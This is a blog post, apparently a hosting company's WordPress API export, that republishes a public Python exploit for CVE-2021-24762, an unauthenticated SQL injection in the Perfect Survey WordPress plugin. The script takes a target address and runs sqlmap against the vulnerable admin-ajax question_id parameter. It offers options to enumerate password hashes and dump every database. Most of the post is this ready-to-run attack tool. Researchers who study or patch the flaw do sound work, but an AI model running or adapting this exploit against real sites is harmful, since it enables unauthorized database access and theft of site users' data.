# Exploit Title: WordPress Plugin Perfect Survey – 1.5.1 – SQLi (Unauthenticated)
\n# Date 18.02.2022
\n# Exploit Author: Ron Jost (Hacker5preme)
\n# Vendor Homepage: https:\/\/www.getperfectsurvey.com\/
\n# Software Link: https:\/\/web.archive.org\/web\/20210817031040\/https:\/\/downloads.wordpress.org\/plugin\/perfect-survey.1.5.1.zip
\n# Version: < 1.5.2
\n# Tested on: Ubuntu 20.04
\n# CVE: CVE-2021-24762
\n# CWE: CWE-89
\n# Documentation: https:\/\/github.com\/Hacker5preme\/Exploits\/blob\/main\/Wordpress\/CVE-2021-24762\/README.md<\/p>\n
”’
\nDescription:
\nThe Perfect Survey WordPress plugin before 1.5.2 does not validate and escape the question_id GET parameter before
\nusing it in a SQL statement in the get_question AJAX action, allowing unauthenticated users to perform SQL injection.
\n”’<\/p>\n
banner = ”’<\/p>\n
___ _ _ ______ ____ ____ ____ ___ ____ _ _ _______ _____ ____
\n_(___)_ (_) (_)(______) _(____) (____) _(____) (___) _(____)(_) (_)(_______)(_____) _(____)
\n(_) (_)(_) (_)(_)__ ______(_) _(_)(_) (_)(_) _(_)(_)(_) ______(_) _(_)(_)__(_)_ _(_)(_)___ (_) _(_)
\n(_) _ (_) (_)(____)(______) _(_) (_) (_) _(_) (_)(______) _(_) (________)_(_) (_____)_ _(_)
\n(_)___(_) (_)_(_) (_)____ (_)___ (_)__(_) (_)___ (_) (_)___ (_) (_) (_)___(_)(_)___
\n(___) (___) (______) (______) (____) (______) (_) (______) (_)(_) (_____)(______)<\/p>\n
[+] Perfect Survey – SQL Injection
\n[@] Developed by Ron Jost (Hacker5preme)<\/p>\n
”’
\nprint(banner)<\/p>\n
import argparse
\nfrom datetime import datetime
\nimport os<\/p>\n
# User-Input:
\nmy_parser = argparse.ArgumentParser(description= ‘Perfect Survey – SQL-Injection (unauthenticated)’)
\nmy_parser.add_argument(‘-T’, ‘–IP’, type=str)
\nmy_parser.add_argument(‘-P’, ‘–PORT’, type=str)
\nmy_parser.add_argument(‘-U’, ‘–PATH’, type=str)
\nargs = my_parser.parse_args()
\ntarget_ip = args.IP
\ntarget_port = args.PORT
\nwp_path = args.PATH<\/p>\n
print(‘[*] Starting Exploit at: ‘ + str(datetime.now().strftime(‘%H:%M:%S’)))
\nprint(‘[*] Payload for SQL-Injection:’)
\nexploitcode_url = r’sqlmap “http:\/\/’ + target_ip + ‘:’ + target_port + wp_path + r’wp-admin\/admin-ajax.php?action=get_question&question_id=1 *” ‘
\nprint(‘ Sqlmap options:’)
\nprint(‘ -a, –all Retrieve everything’)
\nprint(‘ -b, –banner Retrieve DBMS banner’)
\nprint(‘ –current-user Retrieve DBMS current user’)
\nprint(‘ –current-db Retrieve DBMS current database’)
\nprint(‘ –passwords Enumerate DBMS users password hashes’)
\nprint(‘ –tables Enumerate DBMS database tables’)
\nprint(‘ –columns Enumerate DBMS database table column’)
\nprint(‘ –schema Enumerate DBMS schema’)
\nprint(‘ –dump Dump DBMS database table entries’)
\nprint(‘ –dump-all Dump all DBMS databases tables entries’)
\nretrieve_mode = input(‘Which sqlmap option should be used to retrieve your information? ‘)
\nexploitcode = exploitcode_url + retrieve_mode + ‘ –answers=”follow=Y” –batch -v 0’
\nos.system(exploitcode)
\nprint(‘Exploit finished at: ‘ + str(datetime.now().strftime(‘%H:%M:%S’)))<\/p>\n","protected":false},"excerpt":{"rendered":"
# Exploit Title: WordPress Plugin Perfect Survey – 1.5.1 – SQLi (Unauthenticated) # Date 18.02.2022 # Exploit Author: Ron Jost (Hacker5preme) # Vendor Homepage: https:\/\/www.getperfectsurvey.com\/ # Software Link: https:\/\/web.archive.org\/web\/20210817031040\/https:\/\/downloads.wordpress.org\/plugin\/perfect-survey.1.5.1.zip # Version: < 1.5.2 # Tested on: Ubuntu 20.04 # CVE: CVE-2021-24762 # CWE: CWE-89 # Documentation: https:\/\/github.com\/Hacker5preme\/Exploits\/blob\/main\/Wordpress\/CVE-2021-24762\/README.md ”’ Description: The Perfect Survey WordPress plugin before …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-20924","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/20924","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=20924"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/20924\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=20924"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=20924"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=20924"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}